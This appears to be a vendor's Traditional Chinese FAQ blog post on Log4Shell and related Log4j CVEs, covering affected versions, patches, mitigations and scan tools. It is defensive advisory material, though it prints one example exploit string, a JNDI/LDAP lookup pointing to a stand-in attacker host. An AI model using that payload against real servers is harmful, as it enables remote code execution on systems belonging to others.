CVE-2021-44228、CVE-2021-45046、CVE-2021-4104:有關 Log4Shell 及相關弱點的常見問答集

有關 Log4Shell 及相關弱點的常見問答集
12 月 18 日更新: Apache 已發表 Log4j version 2.17.0 並宣布 CVE-2021-45105,這是一種在非預設組態中可被刺探利用的拒絕服務弱點。本部落格已更新此額外資訊。
12 月 20 日更新: Tenable 已發表 Windows 和 Linux 稽核,以偵測建議的緩解措施是否已適當地在無法修補的系統上實施。更多資訊請參閱下方。
1 月 4 日更新: Apache 已發表 Log4j 2.17.1、2.12.4 和 2.3.2,以解決最新弱點 CVE-2021-44832。如需更多資訊,請參考 Tenable Community 中的這則貼文。
背景說明
在 12 月 9 日發現 Apache Log4j 名為 Log4Shell 的弱點後,安全應變團隊整合了以下部落格貼文來回答一些有關 Log4Shell 比較常被問到的問題 (FAQ),以及在 Log4j 中最新發現的弱點。
常見問答集
什麼是 Log4j?
Log4j 是一種包含在 Apache Logging Services 且廣為使用的 Java 記錄程式庫。它用來記錄來自應用程式或服務的訊息,通常是做為偵錯之用。
什麼是 CVE-2021-44228?
CVE-2021-44228 是在 Apache Log4j 2.0 到 2.14.1 中的一種遠端程式碼執行 (RCE) 弱點。它被安全研究人員命名為「Log4Shell」。
CVE-2021-44228 會被如何刺探利用??
遠端未經授權的攻擊者可透過寄出精心製作的請求給執行有 log4j 弱點的伺服器,以便刺探利用此缺陷。這可以透過在網站上在純文字欄位中提交一段刺探利用字串,或將刺探利用字串包含在目的地為有弱點的伺服器的 HTTP 標頭一部份。當有弱點的伺服器使用 log4j 來記錄請求時,該攻擊程式就會透過各種服務,例如 Lightweight Directory Access Protocol (LDAP),利用 Java 命名與目錄介面 (JNDI) 從攻擊者控制的伺服器請求一個惡意承載。
攻擊程式的例子會像這樣:
${jndi:ldap://attackersite.com/exploit.class}
如果弱點受到刺探利用,會發生什麼事?
有弱點的 log4j 程式庫會請求和執行來自攻擊者控制的伺服器之惡意承載。
目前我們是否已觀察到任何猖獗進行中的攻擊?
攻擊者已經開始以各種方式利用 Log4Shell,包括:
- 加密貨幣挖礦軟體 (cryptominers)
- 分散式拒絕服務 (DDoS) 殭屍網路
- 勒索軟體
有報告顯示,民族國家集團和初次存取仲介都已經開始利用此缺陷,也就是說,我們預期進階持續性威脅 (APT) 集團和勒索軟體攻擊者在不久的將來很可能也會利用此缺陷。
為什麼 Log4Shell 如此重要?
在各種產品和服務中,Log4j 是一種做為記錄用途而廣為使用的程式庫,因此它會產生龐大的攻擊破綻。刺探利用 Log4Shell 很簡單,GitHub 上就有現成的概念驗證程式碼。最後,由於許多企業不清楚該程式庫在他們所使用的產品和服務中有多麼普遍,因此這很可能會產生非常長期的效應。
在 Log4j 2.15.0 版本中解決了 Log4Shell 的問題嗎?
沒有,Apache 已發表 Log4j 2.16.0 來解決 Log4Shell 沒有完全修正的問題。Apache 針對這個沒有完全修正的問題指定了一個新的 CVE,如下:CVE-2021-45046。
什麼是 CVE-2021-45046?
一開始 CVE-2021-45046 是被提報為 Apache Log4j 2.0 到 2.15.0 版本中的拒絕服務弱點,現在已升級為 RCE 弱點。在特定的非預設組態下,當使用到 Context Lookup (也就是:$${ctx:loginId}) 時,利用惡意輸入資料精製製作 JNDI 查詢的攻擊者就能夠在使用 Log4j 2 而有弱點的伺服器上造成 DoS 的情況,或達到 RCE 的目的。
Log4Shell 的緩解措施適用於 CVE-2021-45046?
否。根據 Apache 表示,之前針對 CVE-2021-44228 的緩解措施,也就是將 formatMsgNoLookups 設定為 true,整體而言緩解能力還不足夠。這個指引無法解決訊息查詢中可能會發生的其他程式碼路徑。因此,現在 Apache 建議升級至安全版本的 Log4j,也就是從 2.16.0 開始以及 2.12.2 (適用於 Java 7)。 如果不可能,Apache 則建議移除 JndiLookup classpath。
Log4j 2.16.0 版本實際上做了什麼?
根據版本資訊,Apache 選擇透過移除訊息查詢和預設停用 JNDI 來強化 Log4j。
我們公司使用 Java 7,而且我們無法升級到 Log4j 2.16.0。我們應該怎麼做?
Apache 發表了 Log4j 2.12.2 來解決 Java 7 的 CVE-2021-45046。如果不可能立即修補,Apache 建議客戶從 classpath 移除 JndiLookup 類別。有關如何移除此 classpath 的指引,您可在 Apache 說明文件中找到。
什麼是 CVE-2021-45105?
CVE-2021-45105 是一個最新發布的 Apache Log4j 拒絕服務 (DoS) 弱點。該弱點會在非預設組態中受到刺探利用。攻擊者可以送出精心製作的請求,其中包含了會造成 DoS 狀況的遞迴查詢。為解決此弱點,Apache 已發表 Log4j version 2.17.0。此外,Apache 也針對無法立刻升級的客戶提供了緩解措施選項。我們建議您經常查看 Apache 的安全公告頁面,因為隨著最新事態的發展,有關建議緩解措施的最新資訊將會持續公告。
Log4j 1.x 容易受到攻擊嗎?
還會有許多有關 Log4Shell 的資訊發布。在本部落格公布時,Apache 表示,當 Log4j 設定為使用 JMSAppender 時, Log4j 1.2 就容易受到類似方式的攻擊,這不是預設組態的一部份,但它並不是特定容易受到 CVE-2021-44228 攻擊。 Log4j 1.2 中的此弱點已被明定為 CVE-2021-4104。
針對 Log4j 1.2 有修補程式嗎?
沒有,Log4j 的分支 1.x 已是停產狀態,因此不會有安全更新程式。使用者可以升級至 Log4j 2.12.2 (適用於 Java 7) 或 2.16.0 或更高版本。
我該如何解決 CVE-2021-4104?
有一些緩解措施選項可用來防止 CVE-2021-4104 受到刺探利用。
- 不要在 Log4j 組態中使用 JMSAppender
- 移除 JMSAppender 類別檔案 (org/apache/log4j/net/JMSAppender.class)
- 限制作業系統使用者的存取權,防止攻擊者得以修改e Log4j 組態
目前我們對這些弱點有何瞭解?
這是我們截至 12 月 18 日所瞭解的資訊:
- 針對影響 Log4j 的弱點已有 4 個 CVE
CVE | 弱點類型 | 受影響的 Log4j 版本 | 非預設組態 |
---|---|---|---|
CVE-2021-44228 | RCE | 從 2.0 到 2.14.1 | 不會產生 |
CVE-2021-45046 | 拒絕服務 (DoS) 和 RCE | 從 2.0 到 2.15.0 | 是 |
CVE-2021-4104 | RCE | 1.2* | 是 |
CVE-2021-45105 | 拒絕服務 (DoS) | 從 2.0-beta9 到 2.16.0 | 是 |
- 只有當應用程式和服務中包含 Log4j 2.0 到 2.14.1 版,做為程式庫之用時,CVE-2021-44228 才能馬上被刺探利用。
- CVE-2021-45046、CVE-2021-4104 和 CVE-2021-45105 只會出現在特定的非預設組態中
- CVE-2021-4104 不會被修補,因為 Log4j 1.x 分支已停產
有哪些修正的 Log4j 版本解決了這些弱點?
Log4j 版本 | Java 版本 | 已有可用版本 |
---|---|---|
2.17.0 | Java 8 | 是 |
2.16.0 | Java 8 | 是 |
2.12.2 | Java 7 | 是 |
1.2 | - | 否 (已停產) |
針對這些弱點進行刺探利用的可能性有多高?
下表摘要說明了這些弱點的攻擊利用性,以及弱點是否已受到刺探利用。
CVE | 刺探利用的可能性 | 已受到刺探利用 |
---|---|---|
CVE-2021-44228 | 高 | 是 |
CVE-2021-45046 | 低 | 不會產生 |
CVE-2021-4104 | 低 | 不會產生 |
CVE-2021-45105 | 低 | 不會產生 |
Tenable 容易受到 Log4j 中的任何一個弱點影響嗎?
Tenable 資安長 Bob Huber 已發表一份完整聲明,請參閱此處。
我或我們公司可以用哪些方式找出這些在 Log4j 中的弱點?
Tenable 針對我們的產品發表了許多 plugin、掃描範本和儀表板 (Tenable.io、Tenable.sc)。
無法立即修補這些弱點的客戶可以利用 CVE-2021-44228/CVE-2021-45046 稽核來偵測 Log4j 替代緩解措施是否已正確套用在他們的系統上。有關這些稽核更詳細的說明可在此處查閱。
什麼是 CVE-2021-44832?
CVE-2021-44832 是 Log4j 中發現的最新弱點,近期已被 Apache 修補。 由於刺探利用有先決條件,因此此缺陷被刺探利用的可能性較低。如需有關此弱點的更多資訊,請參考 Tenable Community 上的這篇貼文。
取得更多資訊
- Tenable 針對 Log4Shell 的專屬資源頁面
- Tenable 探討 CVE-2021-44228 (Log4Shell) 的部落格
- Tenable Community Log4Shell 資源與常見問答集
加入 Tenable Community 的 Tenable 安全回應團隊。
深入瞭解 Tenable,這是用於全面管理新型攻擊破綻的首創 Cyber Exposure 平台。
索取 Tenable.io Vulnerability Management 的 30 天免費試用。
相關文章
- 弱點管理